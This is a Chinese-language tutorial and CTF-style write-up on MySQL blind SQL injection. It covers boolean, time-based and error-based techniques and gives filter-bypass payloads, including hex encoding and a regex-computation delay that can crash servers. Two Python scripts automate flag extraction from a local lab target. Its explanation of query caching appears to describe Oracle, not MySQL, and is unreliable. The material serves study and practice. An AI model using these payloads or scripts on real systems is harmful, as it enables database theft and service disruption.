前言
Blind SQL(盲注)是SQL注入攻擊的其中一種。在sql注入過程中,sql語句執行後數據不會回顯到前端頁面,此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之爲盲注。
本文涉及知識點實操練習:MySQL盲注 (本實驗講解了MySQL注入中,3種盲注方式:基於布爾的盲注、基於時間的盲注、基於報錯的盲注。通過學習本實驗,能瞭解盲注原理。)
SQL盲注基本知識
常用基本函數
- IF(expr1,expr2,expr3)
若expr1
爲true,則返回expr2
,爲false則返回expr3
SELECT IF(TRUE, 'A','B') -- 輸出結果:A
SELECT IF(FALSE,'A','B') -- 輸出結果:B
- ASCII(str)
返回字符串str
最左面字符的ASCII值
SELECT ASCII("flag") -- 輸出結果:102
- ORD(str)
返回字符串str
第一個字符的ASCII值
SELECT ORD("flag") -- 輸出結果:102
- CHAR(int)
將ASCII碼值int
轉換成字符
SELECT CHAR(65) -- 輸出結果:A
- MID(str,pos,len)
從pos
位置開始,截取字符串str
共len
個長度的字符
SELECT MID("Hello World", 3, 5) -- 輸出結果:llo W
與SUBSTR(str,pos,len) 效果相同
- LEFT(str,len)
返回字符串str
左邊部分共len
個字符
SELECT LEFT("flag", 2) -- 輸出結果:fl
- SLEEP(duration)
duration
是休眠的時長,以秒爲單位,也可以是小數
SELECT SLEEP(3)
# [SQL] SELECT SLEEP(3)
# 受影響的行: 0
# 時間: 3.005ms
- REGEXP
正則表達式,用來匹配文本的特殊的串(字符集合)
SELECT "FLAG" REGEXP "LA" -- 輸出結果:1
SELECT "FLAG" REGEXP "[0-9]" -- 輸出結果:0
- 其它
LENGTH(str) -- 返回字符串str的長度
DATABASE() -- 返回當前數據庫名
VERSION() -- 返回當前MySQL版本
布爾盲注
根據注入點的輸入,頁面只返回True和False兩種類型頁面。利用頁面返回不同,逐個猜解數據。
SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 輸出結果:1
SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 輸出結果:2
據此可知數據庫名的長度爲4
時間盲注
通過執行時間的長短來判斷是否執行成功,也就是時間延遲注入。
SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒後才響應
SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即響應
據此可知數據庫名的第一個字符爲c
以下2道題目:flag在flag表的flag字段
在本地搭建靶機,用post傳參,變量keywords
接收
基於運行錯誤的布爾盲注
基於運行錯誤的布爾盲注即能夠通過sql語句的語法、語義分析,但運行時報錯。
我們可以將其作爲IF(expr1,expr2,expr3)的expr3
,當expr1
爲true時,返回expr2
,頁面正常,而爲false時,則會執行expr3
,此時因爲運行錯誤而頁面無法正常顯示。
ST_GeomFromText(character-string[, srid]) 是根據字符串表示構造幾何的方法,即:
SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 )
-- 輸出結果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]
ST_X(point):該方法是獲取點的x座標,它操作的對象是一個點,即:
SELECT ST_X(POINT(2,3)) -- 輸出結果:2
但當操作對象不是點時,運行會報錯,卻能夠通過sql的檢查,所以可以用來構造true和false兩種情況下出現不同的頁面
SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 輸出結果:1
SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
P.s.
ST_GeomFromText 、 ST_MPointFromText 是兩個可以從文本中解析Spatial function的函數。
需要注意的是 ST_GeomFromText 針對的是 POINT() 函 數, ST_MPointFromText 針對的是 MULTIPOINT() 函數的。
其他可用的函數:
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);
如果題目過濾了ST
,可以嘗試用GeomFromText()
和X()
,但MySQL在5.7.6版本之後就棄用了。
Name | Description |
---|---|
X() (deprecated 5.7.6) |
Return X coordinate of Point |
GeomFromText() (deprecated 5.7.6) |
Return geometry from WKT |
當輸入1、2、3等數字時,頁面返回Hello World
而當輸入被過濾的關鍵字時,網頁返回No Hacker
由此可以測試一些被過濾的關鍵字有:
'
、"
、or
、-
、*
、>
、<
、=
、like
、sleep
、substr
、mid
、ascii
、ord
然而在不被ban掉的情況下,網頁只能返回一種頁面,無法進行平常的數字型盲注。
而像if(0,1e9999,1)
,因爲無法通過sql語句的檢查,所以頁面無法正常顯示,更別說if(1,1e9999,1)
了。
此時可以考慮用基於運行錯誤的布爾盲注,語法、語義上能夠通過sql的檢查,但如果執行到該語句卻會運行錯誤,這樣便能夠構造true和false兩種情況了。
用if來進行盲注,'
被過濾了,用十六進制繞過。
if(1,1,ST_X(ST_GeomFromText('POINT(mads)'))
> if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))
此時頁面返回Hello World
。題目說flag在flag表的flag字段,用left()截取第一個字符進行判斷,=
和like
可以用regexp
代替。
構造payload:
if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
此時頁面仍然返回Hello World
,可以知道flag的第一個字符是char(102),也就是f
if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
而第二個字符是char(108),也就是字符l
用python寫個腳本
import requests
def fun(string):
result = ""
j = 1
for i in string:
if j != len(string):
result = result + str(ord(i)) + ","
else:
result = result + str(ord(i))
j += 1
return "char(" + result + ")"
url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
flag = ""
for i in range(1, 50):
for j in tables:
if j == "{" or j == "}":
j = "\\" + j
payload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % (
i, fun(flag+j))
r = requests.post(url=url, data={'keywords': payload})
if "Hello World" in r.text:
flag = flag + j
print(flag.replace("\\", ""))
break
基於巨大運算時間的時間盲注
由於在這裏過濾了ST
,所以以ST
開頭的函數會被ban,無法使用。
同時又過濾了sleep
,所以無法通過時間休眠來延遲時間,也就沒法用sleep來進行時間盲注。
但我們可以通過sql語句來執行一個運算時間很長很長的語句,以此來作爲時間延遲,也就是說用if來判斷flag的字符,如果正確則執行一個需要很長運算時間的語句,否則返回0。
所以之後用python寫腳本的時候,設定一個超時時間,在設定時間內沒有返回內容即字符正確,這樣便能進行時間盲注了。
在此之前先了解幾個函數
- rpad(str,len,padstr)
對字符串str
進行右填充,用padstr
填充至str
長度爲len
個字符
SELECT RPAD('hi', 5, '?') -- 輸出結果:hi???
- concat(str1,str2,...)
連接多個字符串爲一個字符串
SELECT CONCAT('he', 'll', 'o') -- 輸出結果:hello
- repeat(str,count)
返回字符串str
重複count
次後的字符串
SELECT REPEAT('ab', '3') -- 輸出結果:ababab
構造payload:
1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)
也就是說如果flag的第一個字符爲f
的話,則會執行下面這句語句:
rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
rpad('a',5000000,'a')
會填充爲5000000個a
,會構造成一個很長的字符串,與字符串concat(repeat('(a.*)+',30),'b')
去作正則匹配,通過巨大的運算量來延時。
這樣做的話服務器可能會崩
由於題目過濾了'
,所以用十六進制代替
1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)
以下兩種圖片用get傳參測試時間延遲效果
猜中flag的第一個字符時:
而如果猜第一個字符爲0x01
,則爲false,if返回0
所以我們可以通過大量的運算時間做延遲,進行時間盲注。
但服務器進程在接到客戶端傳送過來的SQL語句時,不會直接去數據庫查詢。服務器進程把這個SQL語句的字符轉化爲ASCII等效數字碼,接着這個ASCII碼被傳遞給一個HASH函數,並返回一個hash值,然後服務器進程將到shared pool中的library cache(高速緩存)中去查找是否存在相同的hash值。如果存在,服務器進程將使用這條語句已高速緩存在SHARED POOL的library cache中的已分析過的版本來執行,省去後續的解析工作,這便是軟解析。
所以多次查詢rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
後將不再延遲,所以對rpad()的5000000
需要每次自減1
腳本來自Gqleung(http://www.plasf.cn)
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i))
r = r.replace('0x', '')
result = result+r
return '0x'+result
url = "http://sqlblind.com/index.php"
tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{"
result = ""
for i in range(1, 50):
for j in tables:
if j == "{" or j == "}":
j = '\\'+j
payload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % (
ord2hex("^"+result+j), 5000000-i)
try:
r = requests.post(url=url, data={'keywords': payload}, timeout=3)
except Exception as e:
result = result+j
print(result.replace('\\', ''))
timeout:設定超時時間,秒爲單位在設定時間內沒有返回內容則返回一個timeout異常
若是3秒內沒有返回內容則返回timeout異常,即字符正確,打印輸出